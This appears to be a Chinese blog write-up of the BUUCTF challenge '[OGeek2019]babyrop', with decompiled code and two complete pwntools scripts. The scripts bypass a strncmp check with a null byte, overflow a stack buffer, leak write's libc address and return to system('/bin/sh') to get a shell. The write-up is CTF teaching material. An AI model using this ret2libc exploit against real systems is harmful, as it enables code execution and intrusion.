[OGeek2019]babyrop【BUUCTF】

37 篇文章 3 订阅

在这里插入图片描述
发现保护基本没开,IDA分析:

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]
  init_0();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

先生成一个随机数,将随机数存入buf中(4u小于14h不存在溢出)。将buf作为sub_804871F函数的参数传入

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 buf[7]; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]
  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return buf[7];
}

a1即buf,sprintf()函数将生成的随机数a1加到了s[32]的数组中。这里题目有read函数,但是没有栈溢出的可能,读入buf之后,读取buf的长度,然后比较buf和s字符串的大小(比较长度为前v1个字符)。
此时如果strncmp()的结果不为0,则直接退出程序。因此我们第一个目的:使strncmp结果为0。而a1为随机数,因此考虑将v1=0,这样strncmp()则为0,而v1 = strlen(buf);我们可以考虑将buf的第一个字符填充为‘\x00’,然后该函数将buf[7]返回,v2= buf[7],v2作为sub_80487D0的参数

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]
  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

若a1==127,则执行read(0, &buf, 0xC8u),0xc8小于0xe7,无法溢出,但若a1!=127,执行read(0, &buf, a1),当a1足够大,则可以溢出,至少要大于0xe7+4=235,因此尽可能使得a1足够大,构造payload = ‘\x00’+‘\xff’*7
之后进入sub_80487D0,执行read(0, &buf, a1),由于本体没有system函数,没有/bin/sh,因此需要使用libc进行构造,利用write泄露write_got地址,利用LibcSearcher找到对应libc【后面发现题目给了指定的libc,哈哈没注意】,完整代码

from pwn import *
from LibcSearcher import *
io = process("./pwn")
# io = remote("node4.buuoj.cn",29222)
elf = ELF("./pwn")
payload = '\x00'+'\xff'*7
io.sendline(payload)
io.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload2 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload2)
write_addr = u32(io.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
io.sendline(payload)
io.recvuntil("Correct\n")
payload3 = b'a'*0xe7+b'a'*4 + p32(system_addr) + p32(main_addr)+ p32(str_bin_sh)
io.sendline(payload3)
io.interactive()

LibcSearcher 有时候不给力,官方给出了libc就最好用官方libc

# 使用官方libc版本
from pwn import *
io = remote("node4.buuoj.cn",29222)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
system_libc = libc.symbols['system'] # 这仅仅是libc中的地址,实际运行中的地址为libc_base+libc["system"]
binsh_libc = next(libc.search(b'/bin/sh'))
write_libc = libc.symbols['write']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825
payload = b'\x00' + b'\xff' * 6 + b'\xff'  # v5
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write_addr = u32(io.recv(4))
# 得到了write在内存中的位置 所以我们可以用题目提供的函数共享库算出system在内存中的位置
base = write_addr - write_libc
system_addr = system_libc + base
binsh_addr = binsh_libc + base
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)

io.recvuntil("Correct\n")
# 第二次就直接把返回地址改成system的地址

payload = b'a' * (0xe7 + 4) + p32(system_addr) + p32(main_addr)

payload += p32(binsh_addr)
io.sendline(payload)
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值